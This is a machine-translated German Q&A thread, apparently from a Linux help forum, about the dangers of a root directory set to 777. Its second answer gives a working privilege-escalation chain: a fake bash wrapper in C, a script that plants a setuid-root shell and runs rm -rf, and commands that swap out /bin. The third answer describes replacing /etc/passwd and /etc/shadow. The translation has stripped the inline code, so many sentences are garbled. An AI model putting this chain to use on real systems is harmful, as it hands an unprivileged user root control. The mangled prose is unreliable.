/sollte nicht allgemein beschreibbar sein

/sollte nicht allgemein beschreibbar sein

Der Großteil des Inhalts ist jedoch 755.

Ist das ein Problem?

Antwort1

Interessant ist, dass /tatsächlich 777Berechtigungen darauf gesetzt werden können. Der /Ordner sollte keine 777Berechtigungen haben, da dies bedeutet, dass jeder im System angemeldete Benutzer Dateien und Ordner auf Stammebene erstellen kann /. Ich habe dies in einer VM getestet und SieKANN NICHTLöschen Sie alle Ordner oder Dateien, die nicht 777ohne sind sudo, rootoder die owner. Die Zugriffsberechtigungen werden weiterhin befolgt, z. B. /rootwürde Ihnen der Versuch, auf den Ordner selbst zuzugreifen, die Berechtigung verweigert. Allerdings könnten Sie den /rootOrdner trotzdem verschieben, ohne /root.oldviel Aufhebens zu verursachen.

Um dies zu beheben, können Sie ausführen, sudo chmod 755 /um die Berechtigungen auf den gewünschten Wert zu ändern. Sie können auch ausführen, sudo chown root:root /um sicherzustellen, dass es root selbst gehört. Führen Sie keinen dieser Befehle mit -R aus, da dadurch die Berechtigungen und Eigentümer aller Dateien und Ordner in der Partition geändert werden.

Hoffe das hilft!

Antwort2

/sollte nicht allgemein beschreibbar sein

/allgemein beschreibbar zu sein, kann eineriesigProblem. Mit Schreibberechtigung für /kann jeder Benutzer jede Datei oder jedes Verzeichnis in verschieben/umbenennen . Das bedeutet, dass jeder Benutzer oder jedes andere Verzeichnis in durch Verzeichnisse seiner Wahl /ersetzen kann ./etc/usr/

Denial of Service: Trivial

Jeder Benutzer kann durch Umbenennen /etcund problemlos einen DoS-Angriff auf Ihr System durchführen /usr.

Rechteerweiterung: Etwas weniger trivial

Es ist etwas schwieriger, eine Rechteausweitung durchzuführen. Ein Benutzer kann /bindurch seine eigene Kopie ersetzen und jeder Prozess, der dann versucht, zu verwenden cp, oder sogareine Shell starten, sind ihnen sofort ausgeliefert. Der Benutzer muss lediglich warten, bis ein als Root ausgeführter Prozess einen beliebigen Befehl in verwendet /binoder der Root-Benutzer sich anmeldet, und schon ist er drin.

Beispiel

bash.c:

#include<sys/types.h>
#include<unistd.h>

int main(int argc, char*argv[], char *env[])
{
    if (getuid() == 0) {
        system("/home/muru/foo");
    }
    execve("/bin/bash", argv, env); 
}

foo:

#!/bin/sh

mv /bin /..bin
mv /.bin /bin
rm -rf /..bin
cp /bin/bash /home/muru
chown root:root /home/muru/bash
chmod u+s /home/muru/bash

Und dann:

$ gcc -o bash bash.c
$ mkdir /..bin
$ cd /bin; for i in /bin/*; do ln -s /..bin/"$i" /.bin/"$i"; done
$ mv /bin /.bin
$ mv /..bin /bin
$ cp bash /bin

Und wenn Root das nächste Mal eine Shell startet, erhalten Sie eine ausführbare Setuid-Datei in Ihrem Home-Verzeichnis, die Sie dann bequem verwenden können, um sich Root-Rechte zu verschaffen, wann immer Sie möchten, ohne viele Spuren zu hinterlassen.

Antwort3

Nein. Es ist nicht sicher, dass /(das Stammverzeichnis) 777Berechtigungen hat. Das bedeutet rwxrwxrwx, dass jeder Benutzer Schreibberechtigung für das Stammverzeichnis hat.

Mit dieser Berechtigung kann jeder Benutzer neue Unterverzeichnisse erstellen, vorhandene Unterverzeichnisse löschen und vorhandene Unterverzeichnisse ersetzen. Ein böswilliger Benutzer könnte beispielsweise das Verzeichnis löschen /bin(durch Umbenennen in /bin.old) und ein neues erstellen /bin, das ihm gehört und böswillige ausführbare Dateien enthält. Oder der Benutzer könnte das Verzeichnis löschen /etc(durch Umbenennen in /etc.old) und ein neues erstellen, /etcdas eine neue /etc/passwdund /etc/shadow-Datei enthält, mit der sich der Benutzer bei jedem Konto im System anmelden kann.

verwandte Informationen